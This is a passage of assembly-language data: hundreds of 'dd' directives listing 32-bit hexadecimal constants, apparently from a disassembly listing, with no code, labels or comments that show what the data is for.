		dd 3D678Ch, 0C585D04h, 0F2A037A9h, 18B48900h, 9A5A6835h
		dd 0AB5517F9h, 0FFE40426h, 4E58C8AAh, 38794D88h, 728574BFh
		dd 25F5A8D3h, 0F3A882A8h, 4820532Eh, 1CEEC71h, 0A4E4CD9Bh
		dd 6284C911h, 20C70020h, 6B0127F0h, 0DCFD54E3h,	0F1B58826h
		dd 0C5B71B01h, 0D4663D8Bh, 22E3CC0h, 9451A905h,	0B8A07F4Bh
		dd 5CC077EDh, 0B0010C98h, 68709930h, 0E430C9EAh, 47B945A6h
		dd 69B8C08Ch, 800F659h,	32F3F4FEh, 117BB4h, 977043CAh
		dd 8B48A198h, 3D80AA00h, 646A1431h, 2C7394h, 0B16D65AFh
		dd 0DA583422h, 0CE6FF700h, 1452A298h, 73B23D3Eh, 0D250B780h
		dd 0FD59B7Eh, 0C203C003h, 8D7DC72Ah, 0B0954488h, 0AA1107F4h
		dd 625451h, 0F43F5B45h,	3CA31424h, 4098C942h, 42993FFh
		dd 4C21CA3Bh, 7858C0E8h, 0EC007CD7h, 7F6C48C9h,	525313h
		dd 0FBD8A428h, 0C3985116h, 3D588E18h, 1F1CF378h, 4CC68Dh
		dd 12B6F9FBh, 0C3FFDA8h, 4D7196BDh, 0A0BBAC32h,	0CFF0C798h
		dd 548B2564h, 690812E1h, 452278h, 38D94B2Dh, 3A1FB211h
		dd 1F20B48h, 1AC9544Ch,	1023C5A9h, 441C372Ch, 0E8E2C4h
		dd 907221ACh, 872DE5h, 0C3FB5582h, 0F99E9291h, 9D4CB5Ch
		dd 46263473h, 5D042ACh,	0CAF4DF44h, 48D80850h, 800538FAh
		dd 1D97403Ch, 0A6085Ch,	2B849E9h, 7533F1E1h, 984DBA00h
		dd 0E2793571h, 0CB310203h
		dd 9EB8CEB9h, 63F05361h, 0F91122BCh, 1298C4EAh,	8488FF73h
		dd 1450F2C8h, 2FB063Fh,	928F6EDBh, 602858D2h, 665A3915h
		dd 0EF008984h, 8C9891BCh, 0F0391743h, 0C0CF7BF4h, 2B65B369h
		dd 6737B895h, 0A0C07163h, 5CBFB4A6h, 0F825F13Eh, 91EC8410h
		dd 189B7A02h, 810E7C9Ch, 0F55ABC08h, 647061C5h,	0D652122Dh
		dd 0BC4099Eh, 0F3A31CA3h, 0F7B74900h, 27E81918h, 0C9BC0091h
		dd 8199AE33h, 0E72D5045h, 0C7FCA040h, 43F011Dh,	0F0FA5893h
		dd 20108494h, 0B043CB8Ch, 2C2CC9DEh, 0E7944F03h, 0E6118AEEh
		dd 26CA7F20h, 330DA2h, 255308E3h, 0F000E469h, 0B4CB8393h
		dd 0E6397063h, 10294C8Bh, 36263304h, 2574D707h,	4A8C404Bh
		dd 2B65C45h, 0EB28B070h, 5608ACEEh, 11E08DEAh, 0C0EC4C55h
		dd 268EED89h, 15DFE56h,	490EAFA8h, 2D676BE4h, 6CCC1414h
		dd 0B92603F3h, 185E7B7Dh, 51252C19h, 0AC00167Eh, 0CAD15D9Fh
		dd 11C1B1Ah, 0BAB88154h, 0C422FD3Fh, 738058B9h,	12FF0050h
		dd 4D2E319Eh, 277E8E3Dh, 6396D8F5h, 0C02ABA13h,	0A9880030h
		dd 0C77B06h, 2C762411h,	0C465E82Fh, 7F1460F5h, 7D141002h
		dd 7B13477Eh, 6C800048h, 0E560962Bh, 0E1FB2Dh, 0F39838DCh
		dd 0E8920006h, 6140DA07h, 36393ACCh, 622B8151h,	29C4A2ABh
		dd 93087040h, 18B3007Dh, 80C25763h, 0A207BFFDh,	0C4812D77h
		dd 36C9A361h, 30000C37h, 74C0F21Ch, 1000EE0Dh, 608BFD36h
		dd 3905B5D7h, 0FBF53EEFh, 44F523D0h, 0CE78F109h, 9F00D4A5h
		dd 9091D2EEh, 608700BEh, 88082710h, 0D73EFE2h, 0C8F40438h
		dd 0A43FEDh, 0B7123AC4h, 5CC5CA13h, 8C800429h, 0F08634FEh
		dd 0C90A0E7Dh, 0F43A3B31h, 5A49B442h, 0E7F50974h, 94C1C762h
		dd 0E3402020h, 733A2D43h, 0B000C440h, 0F512CA59h, 0E948B1h
		dd 9468B864h, 0F45063Ah, 0D8589D07h, 0EA77B3F9h, 3B9E6EA0h
		dd 0D98F0E16h, 5522B1C9h, 0C408847h, 2FF44C03h,	107D9617h
		dd 0CEB34420h, 0B50B30A8h, 0DD980C88h, 7234F920h, 0B1F180C7h
		dd 44B349Eh, 2F225C04h,	432A1520h, 9C470B8Dh, 4500A5C7h
		dd 0A6817EBDh, 0C8003398h, 7CC5A2D9h, 0B8E635ADh, 4D702228h
		dd 5BB39512h, 0E066FC09h, 44A2B874h, 5771E8F2h,	8D51D20Fh
		dd 16D760FEh, 4AD670Ch,	3B3A4FFFh, 7F408031h, 9FF23809h
		dd 2AD6B603h, 3ED1D0F5h, 5CDB26A1h, 0D0A1AD4Ch,	0FC28E677h
		dd 54070D40h, 9810DED6h, 30A13D35h, 7B00D068h, 0C2610725h
		dd 9D141856h, 24080D7Ch, 7026DCBCh, 3216D270h, 91191540h
		dd 5C3C7018h, 0DC21F0E8h, 0D830A617h, 82A123h, 0E8314BBFh
		dd 326CF606h, 1C747203h, 9DF4D3C7h, 94B3C0C8h, 46864008h
		dd 0E374A47Eh, 28E0B832h, 0B450242Ah, 0F0078428h, 7ACDCA58h
		dd 0B09604C3h, 0FDB65FCFh, 0A0002072h, 7CBB8B0h, 405EF39Bh
		dd 2B57B604h, 3EA6DC88h, 0A1002A13h, 0EB6DDCB8h, 0AB00181Fh
		dd 0CC80C509h, 95145A82h, 35DDA423h, 0F158AFE8h, 48275000h
		dd 4CEF6D90h, 145E1D34h, 3F3BC0ABh, 0DD715435h,	52819802h
		dd 9134299Fh, 286901E0h, 1FC92C02h, 0B445C896h,	0B651B200h
		dd 0BFF8079h, 4B969C6Eh, 69B174C8h, 933AD300h, 73C106A7h
		dd 0B51038A9h, 8D0E2C3Dh, 16E07BD2h, 8BCFF2A3h,	0F4373CA0h
		dd 98AD0CB9h, 2B19C88h,	766C9B4Eh, 3CC4A203h, 0AE52360Eh
		dd 0FA0A235Ah, 0BCC085E0h, 7559A193h, 34B20007h, 0B5453B83h
		dd 0DB1257BBh, 0C02CB89Ch, 0CF2F84B7h, 8C1629h,	0DBDD66B4h
		dd 735BC25Dh, 9223D73Ah, 0B0C84E51h, 0DC74B2h, 27D80BB6h
		dd 551D9F61h, 0BBC0C13Fh, 0DB1201DEh, 40CD629Eh, 4FFFB460h
		dd 980828F9h, 31EBD00h,	849F5F23h, 0C0F40CABh, 18211FF7h
		dd 8173D11Dh, 0CCF570C4h, 0AC608CC9h, 382788FFh, 4420B74Fh
		dd 904F23h, 0C8D7A55h, 0BFB0DBD0h, 724633Eh, 0A2989A1Dh
		dd 0F0DCE3C3h, 179BCEEEh, 0C8C85E43h, 63007070h, 0B882817Bh
		dd 0B268AE22h, 5C7A9884h, 0D3806011h, 175AC71Eh, 0A0396060h
		dd 0B967ABh, 65B87ACAh,	0B3775280h, 0EAF9DF00h,	66F1E45Bh
		dd 8A910AACh, 80EC0CA3h, 0D174493Fh, 620035B1h,	10479C9Eh
		dd 58653F9h, 0E76A8DF7h, 59A8C344h, 0BD437F0h, 0B21AB8C0h
		dd 1FEE59Dh, 0D00127A6h, 62F69862h, 0B84CC4h, 0E24A3A6Dh
		dd 4BFDA3B8h, 4D548239h, 5BF90920h, 2551F836h, 0C1276D5h
		dd 0ED317C49h, 0FBBC4201h, 0D0642Bh, 703BD1AEh,	7D0FF32Ch
		dd 0B00D7200h, 0C20176E4h, 6632B842h, 91F578B7h, 0F3F72100h
		dd 0F4B9C7E7h, 0A69324BDh, 1FCC96FCh, 34C89520h, 5F9097C0h
		dd 3D001532h, 52D67540h, 54F2D3h, 561496A0h, 0BACB4F4Dh
		dd 4C6CA448h, 395B2124h, 895FB944h, 0A30156FCh,	8D7D6C1Ch
		dd 9AFD4028h, 7B0492B0h, 0CA153399h, 37C65081h,	23FE2611h
		dd 2D0215Ch, 56830716h,	0E8C63842h, 0AE502C0Eh,	5FB1019Bh
		dd 0B02FC7FEh, 4C926C76h, 0CD74949Ah, 484C384Ch, 1158C830h
		dd 1B9B0048h, 0ACC79F6Ch, 9054E77h, 597B94h, 9254E60h
		dd 8C1D00FBh, 1B19BF8Bh, 0E518175Dh, 0A3180AA2h, 20B0E522h
		dd 2713F411h, 0FCA6E222h, 415F0031h, 19B7DDC0h,	0FE638A9Dh
		dd 0A8D4CA31h, 0CF51CA0h, 4BC6AAA4h, 31006849h,	0A69C3B48h
		dd 98328Eh, 831ECD02h, 11B6F894h, 59A8BF01h, 0F9048FD2h
		dd 454D2840h, 7C6F1F3Bh, 19E61801h, 75FC1073h, 3BAB501h
		dd 6536C662h, 47D6880h,	7AB27BD4h, 7EE96E60h, 7120F169h
		dd 8B98003Dh, 2305F84Ah, 22003648h, 0EABBA841h,	1F48C04h
		dd 5EA66B84h, 8342D434h, 93D1EC40h, 50BAB4Eh, 7C5EAA51h
		dd 0B0544302h, 72F10D2Bh, 7E8058D2h, 5906A2F8h,	637A62E1h
		dd 0EFB30041h, 0B7A57C27h, 906ADF3h, 8B13423h, 1EDC0F20h
		dd 0E1605CF4h, 4C7EEB06h, 323B1403h, 0E8A876DDh, 337C519Fh
		dd 0C6DA3C8Bh, 0CCE36FE0h, 0DE3FC390h, 3D100353h, 0B8A22223h
		dd 20E672Dh, 6C59EC24h,	94908C18h, 7C00ACD6h, 9DB7D819h
		dd 2A5B5F3Bh, 3F49935h,	0C91E3F85h, 0CE83A5Eh, 4CE2C3ECh
		dd 80741DCh, 0DB30EFD9h, 7341B8C7h, 7D6900BCh, 3BF2222Bh
		dd 8D00B2E9h, 338C0190h, 249CF68Fh, 21264E1Fh, 66000A4h
		dd 7CF5D605h, 8273C0A1h, 98EC368Eh, 7B544816h, 0F231C05Ah
		dd 778A49C6h, 0FF871502h, 5728C4A2h, 21675060h,	0C8F552h
		dd 8BC01966h, 0F1A39F7h, 0EC916EB0h, 0F5D3C100h, 243C1FDBh
		dd 835C489Ch, 0F5F188F6h, 0EA102040h, 4880C10Bh, 33C03C02h
		dd 5150ABDBh, 0F7555703h, 0C8E1DA7Dh, 2A25D2F3h, 7FFC0C84h
		dd 6594A9C3h, 3BDE1DC0h, 288552D1h, 0F8B487D2h,	380415B0h
		dd 21CA00C8h, 39078BF3h, 0DA9C039Fh, 174D1952h,	5D66B1h
		dd 7C9898Ch, 0DEFFF250h, 80D4DA34h, 432445E2h, 0C700A227h
		dd 73A9AA3Ch, 12B661A4h, 218DA0h, 0F5EB44F0h, 0F4008308h
		dd 778416C6h, 142B0650h, 0EC7959EDh, 599F3486h,	0D23EE900h
		dd 0FCB5A250h, 65FA2886h, 23D1019Fh, 0E39BF1F2h, 5B8C51E2h
		dd 2C64EE4Eh, 37E8000h,	285E5C07h, 0EC081ECFh, 490C1299h
		dd 0F400AEA8h, 775BB458h, 0A54C4900h, 57A4C5E4h, 0AC030045h
		dd 0DE9B702Fh, 60C01EA6h, 0E4D4E5Eh, 0A95060C5h, 862BF9FCh
		dd 8D343100h, 569B7D19h, 1B70644h, 406F3211h, 0C6A1D363h
		dd 0B4390051h, 6F4F1A6Bh, 6A004931h, 0AAAFC892h, 1859D261h
		dd 28A7557Dh, 530CCF24h, 102397ECh, 458F011Eh, 0F224E3Eh
		dd 115881FAh, 0D1048B5Eh
		dd 28EA40CCh, 29346159h, 0A4A434h, 403C69BDh, 7C189E23h
		dd 0E758B2CEh, 5A038009h, 391A6230h, 7554Eh, 0F2FDDF44h
		dd 59EB615Eh, 8B627772h, 0A3742121h, 1EA01B4h, 96B053E1h
		dd 0C0CC9BD2h, 100019FEh, 134286BEh, 3C68C2Ch, 3222804Ah
		dd 6AC19B7Ch, 77DC5019h, 1648147h, 8888DD18h, 86103EFh
		dd 8D55795Ah, 0E298D122h, 5076002Eh, 1C25B87Dh,	0A1150968h
		dd 5F0194Eh, 79C50D8Ch,	27D1891h, 66DCBE4h, 34EBDA05h
		dd 0C61D499Bh, 7BF2C7Fh, 173943Ah, 1FC1B180h, 0DF2930ACh
		dd 0FABA1EF1h, 9C215B0Fh, 0EC1471E4h, 9D86B0CEh, 36F879D7h
		dd 0DE9C2B0Ch, 54C6E11Ah, 0F8AC4Dh, 62E3DD5Fh, 9A5189D5h
		dd 0DC2F2C0Fh, 0D3ED40B3h, 8456204Eh, 427E444h,	0BD3F94F8h
		dd 259C8490h, 409C5390h, 0F6997358h, 9C010182h,	9DE78428h
		dd 64600464h, 0F61F4045h, 5A599816h, 38A0CF09h,	1C4A2710h
		dd 8124EA26h, 0FC55D082h, 1243018h, 42003C99h, 6D48B440h
		dd 0ABD10033h, 3E9ED22Dh, 0CCB1D97Eh, 0C1647B0Ch, 0EADE006Ch
		dd 9D60BDCCh, 2E7367D4h, 66997100h, 56221A15h, 0D79B2C84h
		dd 112C6ADCh, 22DC4C3Fh, 0F77E0B55h, 0E1004638h, 0B2356471h
		dd 47F454B2h, 2EA63300h, 20BFD472h, 5F0EEB7h, 0DB90A556h
		dd 80A48412h, 9D5CCCDBh, 637C9600h, 0A3E0EAFCh,	59793084h
		dd 0B05DCB71h, 49246400h, 416972BFh, 68FC00BDh,	0B785964Fh
		dd 302204Ah, 3C027E7Fh,	9DD0C156h, 9F78F980h, 0B52FC230h
		dd 0B08DC61Dh, 977DBD00h, 6E9CEC48h, 3CFB1B4h, 0F05CF119h
		dd 0CD049339h, 6A243376h, 40D6C681h, 0AC8EFCh, 963B347Eh
		dd 0CC217F23h, 1AA2F700h, 222406B3h, 11FA6104h,	803ADC7Eh
		dd 64A48E29h, 741B940Ch, 5A8B3A63h, 38A41C2Ah, 3C802225h
		dd 7EB1C8A2h, 7A093F2Eh, 85B990B5h, 803165Fh, 483BFA21h
		dd 1A11AC29h, 0E7011B71h, 63DFA8C1h, 3FDD7A30h,	0D580C003h
		dd 0ACF955BAh, 0A2008C27h, 0AE892595h, 345A0229h, 82894478h
		dd 1256ED4h, 0E36B8820h, 1275A8h, 0E209AEFDh, 90DE5226h
		dd 82F3823Ch, 3CD6D25Ch, 98384278h, 1EEB244Ch, 0C0719218h
		dd 0B9C72230h, 0EC11A98Ah, 30EA2D5h, 2480899Bh,	0B6D2FC92h
		dd 400024AAh, 509B73C4h, 8EB42D00h, 7961A985h, 992C00C9h
		dd 38CEF01Dh, 0C6305F44h, 0B173C94Fh, 0EAC2EC72h, 0F742008Bh
		dd 2B1A82E6h, 7A1FD64Bh, 0F9829D1Ch, 0E1C92625h, 422E228h
		dd 36807E38h, 7CF351A0h, 0AA30E064h, 7D246048h,	744988Eh
		dd 43AC8702h, 0A7F3C00Bh, 0D0198C25h, 0CA284E6Ah, 467CC8DBh
		dd 26F8B0F2h, 6448D1ECh, 76826DFh, 0B5BA4CD9h, 21AE8001h
		dd 0DE16E3F2h, 0EC20619Ch, 0E19C68Bh, 81175525h, 4E846DAEh
		dd 12A8C80Ch, 7A480DE8h, 0BDB08098h, 0E4E540h, 8BEACAA4h
		dd 72C45FBFh, 0B3441105h, 0B4C1BBDFh, 5700FE6Eh, 915663h
		dd 172C2414h, 5C04F611h, 57021BF8h, 34224562h, 0AB98A1B0h
		dd 954054EBh, 922E11h, 703F78D3h, 179F3363h, 98EA4DF0h
		dd 7A5A620Ah, 3493FCA4h, 0D3004C24h, 1F87C499h,	0B6080579h
		dd 0C291F9C0h, 1320EEACh, 13349D3Fh, 6D6377h, 9B6B1959h
		dd 6800D1FDh, 20560EBh,	41C681h, 775E346Ah, 0ACE92721h
		dd 0B88C0407h, 0FC60451Ch, 75A35E8h, 0D8881783h, 0B5F9A37Ah
		dd 0E010C195h, 5B7180FDh, 9FA34B7Ch, 0ABF217C9h, 6F2C20C6h
		dd 3D008812h, 8E68A239h, 58224DF9h, 19164880h, 506030F5h
		dd 90022E23h, 0D7564B12h, 41EC94F1h, 0D6599389h, 0D44FD804h
		dd 0E25B8080h, 3F8F71EFh, 617F046Eh, 0D0EB607Ch, 0E09711A1h
		dd 0C63AE452h, 0A2E522ACh, 2B006884h, 5BA90183h, 0C939Ch
		dd 0D0BA38D1h, 72601550h, 50355E24h, 0EA30FC47h, 1C3E5C46h
		dd 42177764h, 0E0197C55h, 0CA08045Ah, 259502B5h, 63211087h
		dd 70015832h, 9D3907E1h, 28E5E2h, 0E4461A88h, 0E0FAD0h
		dd 5F37D312h, 5A731EF6h, 30526624h, 0B91A546h, 8A02494Bh
		dd 0DDDF3982h, 14FF44E1h, 2EA3F4C2h, 23B459C0h,	5D122E18h
		dd 5042D034h, 0A5E7E39Dh, 888A9C18h, 0C10DDF00h, 7E20D162h
		dd 66D33F00h, 0EC64C659h, 16B8A4D6h, 21605A94h,	2D184E7Ch
		dd 1E8980F8h, 96797DF2h, 953E8348h, 0F890252Ah,	0A107B586h
		dd 2F9C1837h, 5917C2F2h, 2CDF87ACh, 47A04EA6h, 1FFAB7Dh
		dd 0E878AC7Ch, 53283498h, 0D401A00Fh, 0CFEC3EA6h, 70450A9Ah
		dd 0DFA5C60h, 0FFC4A809h, 181B0039h, 0A8EE3565h, 6918E6ECh
		dd 8E31E004h, 5E823CFCh, 36C38A00h, 9C02165Ah, 2461B624h
		dd 9B631C82h, 5A102CB5h, 83FD5E02h, 926559E9h, 0DE3887D8h
		dd 87B8048h, 1EF3AC3Eh,	19E15332h, 920C4089h, 5E8A0078h
		dd 49BCB1E8h, 0A01BBA1h, 0F48BDB96h, 0E5F8FCF7h, 0AA88266Ch
		dd 0E43360E8h, 6F00656Dh, 23EF4A70h, 3EFFB925h,	6ABD4998h
		dd 0D092A3A0h, 2236002h, 4825B0AEh, 0EC7010h, 0A16FD06Bh
		dd 0C17FF932h, 820E0CFCh, 6F7D1402h, 0AAE7C41Ch, 514EC4C1h
		dd 0B029B431h, 20D6578Eh, 0F01A21D8h, 0F8548226h, 8B1D142Bh
		dd 0F4399D3Ah, 0F021B752h, 4C20177Dh, 0EC3DE81Eh, 0D0A65DD2h
		dd 96388BC0h, 82008479h, 0BBA4D7FAh, 0F85A74F7h, 51171FB9h
		dd 6C4005Dh, 9E3442FFh,	0DA6239C0h, 18792B6Ch, 0BE3D8FDBh
		dd 0E40576B0h, 99F07A45h, 22898C1Eh, 0C6EB1h, 8129A87Dh
		dd 194E2ED2h, 0BF6EA500h, 666B5CACh, 48830039h,	9830CD72h
		dd 9C9861BDh, 88B9D1Ah,	2FB4041h, 11EB6401h, 314AC02Fh
		dd 32720C04h, 0BCA8D607h, 8AD782D5h, 29E3B6h, 0D0D97BE4h
		dd 0B354E7E5h, 2099EC27h, 0D3C79D2Ch, 0BC60507Ch, 0AC8F0024h
		dd 3EA716CAh, 87058CE4h, 0F1DE5465h, 0A16980EEh, 19121786h
		dd 78008BEDh, 9675E0F4h, 5C908Eh, 6259A3Dh, 0E33CF6D4h
		dd 0E021833Fh, 584A7330h, 0C19DF092h, 79505310h, 28DEDD3Bh
		dd 478A807Ch, 2173F01h,	82D3E407h, 0C563F4BDh, 57F64F98h
		dd 0F30456E4h, 2CBA1DD0h, 2C60F0E0h, 38388A06h,	0F63478DCh
		dd 89808848h, 0E6C2C001h, 911C2D0Bh, 8015061h, 88429FD3h
		dd 805465D6h, 51977296h, 7F09DA05h, 825B87E8h, 7AC61CD0h
		dd 0FE71DCh, 0F1560EBAh, 0CE7C5CB3h, 99EB0304h,	160BDDh
		dd 625BB570h, 35092FACh, 2345DE9Ch, 53C66Ch, 7AEC4A49h
		dd 254988C9h, 0C442960Fh, 204E4344h, 1912782h, 9FA2F020h
		dd 10003D9Dh, 0D860CF36h, 0A8AA2CD3h, 68E354Ch,	0CEE34DA5h
		dd 61B09017h, 0C3B890D1h, 925A7761h, 34A848FAh,	0E49AB3h
		dd 6C79818h, 7C6EBC76h,	9E93943Bh, 0BAD74F21h, 87EA1848h
		dd 0F019E1D2h, 3BBEA128h, 5D94F62Eh, 0F40B41Dh,	0BF178B1Ah
		dd 40DC98E3h, 0F128218Ah, 7E0044D2h, 0C0446D33h, 18FCA185h
		dd 116CDB7Ch, 55007318h, 45B8F321h, 3D6539h, 195B1FB9h
		dd 4D3C71DEh, 610AF290h, 804EC6B1h, 8FFDB283h, 9E40AF55h
		dd 1665F15h, 9CAF99C5h,	63D1ECABh, 7AD20064h, 5E6B1FE8h
		dd 89873D9Dh, 20439818h, 0ACB39C1Eh, 0A523E70Eh, 6D8073A3h
		dd 0F37C59h, 2186F4E3h,	0EF331735h, 82F81B1Eh, 81C01E00h
		dd 2D5C0B71h, 88192225h, 70D1FA51h, 0EA12FE00h,	0D6467D59h
		dd 7A4088C1h, 8894BE01h, 0CC579A42h, 987BC4h, 0E811F3F9h
		dd 2D14DD45h, 0D1A0E433h, 0CC8BF7A3h, 45F70120h, 34CAB3F4h
		dd 8B8C2428h, 0B0439C26h, 0F9A18440h, 0EB44025Eh, 88227710h
		dd 50260C41h, 724C7D94h
		dd 0B9EBB0Ah, 1E408804h, 13BBF63h, 0ED2B0EF9h, 8B1F7C2Ah
		dd 68D6D4E8h, 1EDF2188h, 0A5D1C2h, 9056642Ah, 5A18956Ch
		dd 7D813F61h, 745B497Ah, 701F1Eh, 0DDC357AFh, 0ED0FA836h
		dd 0A094D627h, 0B51B6B08h, 0D304007Eh, 81020747h, 0A25B773Dh
		dd 13D03449h, 0A02DA02Ch, 28532472h, 7CFA1138h,	38B118FCh
		dd 0B018E469h, 0F15F4538h, 0CC39A07Ah, 0C072824h, 8BEDD788h
		dd 10109BECh, 39C0627Bh, 1440E280h, 374500C2h, 1C51D09Dh
		dd 5907A988h, 0EC58FAE3h, 1D52A4B4h, 5E0922F4h,	8337779Ah
		dd 4806FFD4h, 0E22E870h, 0C8801C91h, 26C1DDFCh,	0E0690370h
		dd 7E053F9Fh, 0EB08A1A0h, 41DF9831h, 0FF0A996h,	72B10636h
		dd 716179A2h, 98009D78h, 2181AA42h, 25C6AC68h, 0C308F23h
		dd 0B71F3CB8h, 0C596D76Bh, 0D30950D0h, 0E59070h, 922E8AAFh
		dd 1FC997C4h, 0A98B5500h, 0DAE3F633h, 22654B9Ch, 3504C2B0h
		dd 205AE054h, 6A8CA874h, 5603C600h, 312958E4h, 2C8F48A4h
		dd 0C8829E8Bh, 7B259DD5h, 0C54C6400h, 120D01Bh,	0B285ED89h
		dd 0C6223666h, 2E78FC90h, 2FDFA701h, 0FE3E839h,	4320A7D2h
		dd 0AC12A02Eh, 0E42E8104h, 5289A65h, 0A8C66166h, 0B290C8C3h
		dd 0C4001876h, 6F2E830Ch, 680021Fh, 5A31443Bh, 0FB047165h
		dd 0BB3C0185h, 0BF0054B2h, 0FFB8B72Ch, 0E212FE7Dh, 9891043Eh
		dd 0A420A6DEh, 8EA000ADh, 0D96BFDB9h, 40288280h, 0F100A474h
		dd 357EA8C7h, 3C9DEA4Fh, 0F380048Ch, 639C020Ah,	0E001F0D8h
		dd 0B36FD5C5h, 10693456h, 373E2D00h, 0F34F158Ch, 0D500AAE6h
		dd 366EAB29h, 89B2E9h, 8D2D8799h, 0F009F41Dh, 3DFDCD00h
		dd 317BA668h, 12D8EAB1h, 24E49B85h, 0D4A27Ch, 0BB9FA837h
		dd 0E06E52h, 11B9E638h,	8902FC1Ah, 1067C52Dh, 762D0430h
		dd 5FFA1D7Ah, 4AF1C0E6h, 0DB50E1F6h, 0AC3922FAh, 4013A67Bh
		dd 0CA63E08h, 58C9B734h, 636EC104h, 638105CFh, 0C03C870Eh
		dd 2059CEB1h, 789A67A0h, 6005A8ECh, 5D161804h, 56E5D48Dh
		dd 80587B01h, 0D638EDA1h, 1042C7h, 0E623BFCBh, 32315B57h
		dd 38E060E3h, 0E4E84E41h, 0D4341272h, 6138818Dh, 8B8897Fh
		dd 0EE4B8A0h, 0D9CB0088h, 9163BF0Ch, 0FF002351h, 5DB16CC9h
		dd 2A3ADB9h, 0DE9BFB2Fh, 0A05A4D79h, 589D9E44h,	139F18E2h
		dd 8DF022CFh, 1F7EA040h, 7D01FAFCh, 300CC604h, 0CEF4CB22h
		dd 5E8401B9h, 503CD71Eh, 2378319Ah, 630F7520h, 0C05BBDh
		dd 0EFED886Eh, 4A39FA09h, 28A831EBh, 0F968BB18h, 0DC7D2C12h
		dd 0CC23A490h, 6499CBF7h, 5BA46C00h, 1E180224h,	454154C5h
		dd 0AC3000B3h, 440E892Ah, 57407991h, 0F7F13C8Ch, 0D7FC7D00h
		dd 7484B80Bh, 0A0B28D00h, 0ED2616C1h, 0A4EE187Eh, 770D3160h
		dd 0E1A73102h, 0E45439F7h, 13CBE8F4h, 12B0AAD3h, 7924CC10h
		dd 244C4445h, 0BB9203C5h, 0E1301827h, 20B13800h, 5815E521h
		dd 63E00B8h, 7EF30953h,	3507E82Eh, 0E977BFE1h, 6F27A2C0h
		dd 24DDE807h, 7906286h,	30C788B8h, 4E55FDC2h, 30D2224Ah
		dd 2FDC9001h, 5C647D8Ah, 0AECB34C1h, 78423CE4h,	13177707h
		dd 94C4053h, 10C7EF2h, 211CB2B0h, 0A87C0574h, 0F41F4EF3h
		dd 0C34EAA40h, 0AF6C1040h, 0FE721214h, 910906ECh, 304F1323h
		dd 60A910EFh, 4CD7398h,	0FEC1783h, 0AA7880B5h, 0F0F27C02h
		dd 3A722A00h, 554E5B5Fh, 40109C0Eh, 0C2DE6013h,	0E697AF00h
		dd 74969E40h, 5CFCB01Ch, 0DF00E87Eh, 0F27C5CDDh, 260366B1h
		dd 0D45B111Ah, 8DCAC05Fh, 9B0B14Ah, 0D061B809h,	7D570078h
		dd 8C999555h, 68840D1h,	48288B5Dh, 0CD731C0Bh, 0C1004948h
		dd 0B3AB1AAEh, 8027C042h, 7C5BAA30h, 5D150118h,	7D5A6A62h
		dd 0D10C43h, 0B549A57Ah, 0ABB741F8h, 9C033005h,	18F021E0h
		dd 20CE5AEBh, 0BFBCB204h, 0F91A1601h, 6AA891Ch,	0F63360h
		dd 605BA99Bh, 8B6D3ECh,	1398B095h, 197F0379h, 44CE7860h
		dd 0E6E24DE0h, 0AD294304h, 7E20C9F3h, 8D00DD32h, 5BB4859h
		dd 0D2DCDA7Dh, 7210A111h, 0DB938014h, 988D8Eh, 9694F428h
		dd 0EA0B360Eh, 3B0958E8h, 185BE5FDh, 87BC80h, 0D381D27Dh
		dd 955D80AEh, 0AF3FC3FCh, 4DA38F79h, 9B964258h,	40CC56E3h
		dd 5BB8047Ch, 800C355Ch, 0C0694259h, 13B7626h, 517DD1DEh
		dd 0C466799Ch, 0AB7CC5A5h, 0C0F8F248h, 3646AA4Dh, 107105D8h
		dd 98C4FCh, 6C05C3A4h, 0B8693C6Ah, 0E85908h, 5B9F02A1h
		dd 50EBF236h, 0B611350Ch, 4E0CF609h, 2D6C181Eh,	909097E3h
		dd 49265F30h, 34C468C0h, 1300ACB9h, 0CD2C2EE1h,	1116951Bh
		dd 0F8495D21h, 4EB4C803h, 6E7D0016h, 2EE46C58h,	224C9F94h
		dd 269B1EBAh, 98394742h, 0F47A01h, 0EFFA9CAFh, 0AD0D6318h
		dd 1997FE01h, 4417CAD0h, 1677A820h, 0C8BF6C4Ah,	0C803A9CCh
		dd 0ABC4997Eh, 0D6804860h, 0CB21267Dh, 0DB7840B0h, 0E75CDFA6h
		dd 90A82560h, 0C2ED78h,	2FDD7256h, 0D599A1BEh, 7023AF8h
		dd 342D57D8h, 7ADA209Ah, 0FC021683h, 0FDE0958Eh, 0B910C6B3h
		dd 0EFAA8188h, 805C797Dh, 0D0339E11h, 1E0A82h, 895BDCD6h
		dd 74AF149Ah, 0F152A32Ch, 1B8CE305h, 788AB082h,	0DDEB20CCh
		dd 8EE07B4Ch, 59A06029h, 2E695F1Bh, 59D4B1C6h, 4CA80C16h
		dd 87018454h, 59F47E8Ah, 0AB9370B4h, 85D42A05h,	0EC20BA8Ch
		dd 5F5D659Ah, 2768BD64h, 5EE81039h, 2C280076h, 8963940Bh
		dd 4630C695h, 6425386Dh, 9C670BE0h, 0F0485F3Bh,	59C517C6h
		dd 0BCC04D93h, 9504355Eh, 13BE7CA0h, 4000E168h,	0F3C5B4A2h
		dd 12ADA146h, 0F0F62866h, 9A0FE720h, 0E94CD0h, 25F058C8h
		dd 0F48058EDh, 0E83BEC25h, 0E05FE3A0h, 0DFB5B000h, 59E541A3h
		dd 7B4F1889h, 10C6C955h, 0CC8E6100h, 93F70ABh, 24FE06Ch
		dd 9B9DF689h, 4C59568Bh, 5B7D9A11h, 215C30D5h, 0A9005EF6h
		dd 0DA7E444Ah, 3275D0Fh, 7D23A351h, 11771032h, 295F1E34h
		dd 0BCD758C5h, 439B16Ah, 357E9007h, 71B5C2FBh, 81E54C9h
		dd 0F6A80577h, 0F2092C34h, 542F0EF8h, 0C8D4C9BCh, 1CCB195Ch
		dd 1E4F8A5Eh, 0E2380F4h, 0E0619DD9h, 7204033Ch,	9B82790Fh
		dd 6434D8h, 3AFE5C9Ch, 988E22Fh, 990197D7h, 72630080h
		dd 0DA0B37E8h, 800BF4A2h, 0B146B988h, 0D66003Eh, 0CCA343E9h
		dd 540710EAh, 3B816CDFh, 0F8FF6120h, 0C1840E9Ch, 9E603C33h
		dd 6C19277Eh, 23041BE6h, 0F565E1F7h, 0ED2C8480h, 0FB7B00A8h
		dd 25BB8970h, 5900A902h, 442D35DFh, 0A0AC57D2h,	0F86665B0h
		dd 0F6230041h, 900E8E98h, 221A1206h, 4111991Eh,	299666FCh
		dd 6C60207Bh, 7801C16Fh, 25D2C665h, 82EE348h, 0BE80ED48h
		dd 0A0D57B3Dh, 8DD00FDh, 5E9568E6h, 8D03A821h, 35D2D462h
		dd 0B43886B0h, 1DD760F4h, 3F017DB7h, 1E52C5D3h,	9C4D224h
